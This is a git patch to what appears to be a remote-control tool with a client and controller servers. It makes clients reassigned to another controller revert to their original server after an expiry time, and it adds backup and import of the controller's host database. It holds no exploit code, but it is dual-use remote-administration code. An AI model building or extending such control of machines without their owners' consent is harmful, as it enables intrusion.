From 51c0658e18f2d1d4a23a4e90d413d1664d8b0bb3 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 19 Jan 2026 23:12:10 +0100 Subject: [PATCH] Fix: Check time to make reassigned client restore immediately --- client/ClientDll.cpp | 15 ++++++++-- server/2015Remote/2015Remote.rc | Bin 112048 -> 112706 bytes server/2015Remote/2015RemoteDlg.cpp | 45 ++++++++++++++++++++++++++++ server/2015Remote/2015RemoteDlg.h | 4 +++ server/2015Remote/resource.h | 10 ++++++- 5 files changed, 71 insertions(+), 3 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 448b164..53a3e9b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -472,14 +472,20 @@ DWORD WINAPI StartClient(LPVOID lParam) Mprintf("StartClient begin\n"); ClientApp& app(*(ClientApp*)lParam); CONNECT_ADDRESS& settings(*(app.g_Connection)); + BOOL assigned = FALSE; + double valid_to = 0; + std::string ip = settings.ServerIP(); + int port = settings.ServerPort(); if (!app.m_bShared) { iniFile cfg(CLIENT_PATH); auto now = time(0); - auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); - if (now <= valid_to) { + valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); + if (assigned = now <= valid_to) { auto saved_ip = cfg.GetStr("settings", "master"); auto saved_port = cfg.GetInt("settings", "port"); settings.SetServer(saved_ip.c_str(), saved_port); + Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, + int(valid_to-now)); } } auto list = app.GetSharedMasterList(); @@ -532,6 +538,11 @@ DWORD WINAPI StartClient(LPVOID lParam) do { Manager->SendHeartbeat(); SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); + if (assigned && time(0) > valid_to) { + app.SetProcessState(S_CLIENT_UPDATE); + settings.SetServer(ip.c_str(), port); + Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port); + } } while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app)); while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) Sleep(200); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index c91dc4798e9a25f5ff15f27f705fa60cd814a3cc..5f6be466298eef6e87df8285fb4cb0dd9984cdcc 100644 GIT binary patch delta 495 zcmdn+n(fdBwhcVolUH%`F)w6zGg*?`a&iH;0;fF#2rgt;K6yU3q&!dt%-3b80n;G4 z6%1=&?8%wj()crs4;LPC75Xun15YONO0lA=g$xXRE45iefk4!Mk|)>&DVmb?{H?c6AxhU0h;N~;K|?zR2jtJ$`A8spxu5z9j-w2J`na~!Jp#O1N0d=rvI~KoT{JIP^P#LhQ$@Scl zf*>_8QF{iE%7@(LjyOy~GdUm5M^|4nxsh9362okudXQZulM6YeCwH+cHB0brm*8b& zvYFiXMQHjvYev5972b??S<^YTG4f4T;x?JCwT+RB9pa-m)BU$Gicfz46yZhqWI2QV zbXlOd_!}f|fHXiIH$8DHqvZ5y+Ze6DW{E=0g1a27bh_d;Mqy^43Df1bF^ck{7`5GU IJ0m9}0NqMo8~^|S diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index f38a687..342a333 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -573,6 +573,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin) ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService) ON_COMMAND(ID_HISTORY_CLIENTS, &CMy2015RemoteDlg::OnHistoryClients) + ON_COMMAND(ID_BACKUP_DATA, &CMy2015RemoteDlg::OnBackupData) + ON_COMMAND(ID_PLUGIN_REQUEST, &CMy2015RemoteDlg::OnPluginRequest) + ON_COMMAND(ID_CHANGE_LANG, &CMy2015RemoteDlg::OnChangeLang) + ON_COMMAND(ID_IMPORT_DATA, &CMy2015RemoteDlg::OnImportData) END_MESSAGE_MAP() @@ -4784,3 +4788,44 @@ void CMy2015RemoteDlg::OnHistoryClients() m_pClientListDlg->ShowWindow(SW_SHOW); } } + +void CMy2015RemoteDlg::OnBackupData() +{ + MessageBoxA("如果更换主控IP，必须将主机迁移到新的主控IP名下。注意，更换主控程序的机器可能导致授权失效!" + "请将数据库文件拷贝到目标机器，否则将丢失全部备注信息。", "提示"); + std::filesystem::path path = GetDbPath(); + std::filesystem::path dir = path.parent_path(); + ShellExecuteW(NULL, L"open", dir.c_str(), NULL, NULL, SW_SHOWNORMAL); +} + +void CMy2015RemoteDlg::OnPluginRequest() +{ + TODO_NOTICE; +} + +void CMy2015RemoteDlg::OnChangeLang() +{ + TODO_NOTICE; +} + +void CMy2015RemoteDlg::OnImportData() +{ + if (IDOK!=MessageBoxA("导入主控程序的历史主机记录。此操作会覆盖本机的历史记录，请仅在迁移主控程序时进行操作。" + "数据库文件仅用于恢复主机备注信息。是否继续?", "提示",IDOK)) return; + CFileDialog fileDlg(TRUE, NULL, "YAMA.db", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, + _T("YAMA DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } + catch (...) { + AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING); + return; + } + if (ret == IDOK) { + CString name = fileDlg.GetPathName(); + auto backup = GetDbPath() + "." + ToPekingDateTime(0); + CopyFileA(GetDbPath().c_str(), backup.c_str(), FALSE); + m_ClientMap->LoadFromFile(name.GetString()); + } +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 25e9fa6..2a39463 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -313,4 +313,8 @@ public: afx_msg void OnHookWin(); afx_msg void OnRunasService(); afx_msg void OnHistoryClients(); + afx_msg void OnBackupData(); + afx_msg void OnPluginRequest(); + afx_msg void OnChangeLang(); + afx_msg void OnImportData(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index f216dc3..dd0902a 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -629,6 +629,14 @@ #define ID_DOWNLOAD_SERVERPORT 32996 #define ID_32997 32997 #define ID_HISTORY_CLIENTS 32998 +#define ID_32999 32999 +#define ID_BACKUP_DATA 33000 +#define ID_33001 33001 +#define ID_PLUGIN_REQUEST 33002 +#define ID_33003 33003 +#define ID_CHANGE_LANG 33004 +#define ID_33005 33005 +#define ID_IMPORT_DATA 33006 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects @@ -636,7 +644,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 326 -#define _APS_NEXT_COMMAND_VALUE 32999 +#define _APS_NEXT_COMMAND_VALUE 33007 #define _APS_NEXT_CONTROL_VALUE 2228 #define _APS_NEXT_SYMED_VALUE 105 #endif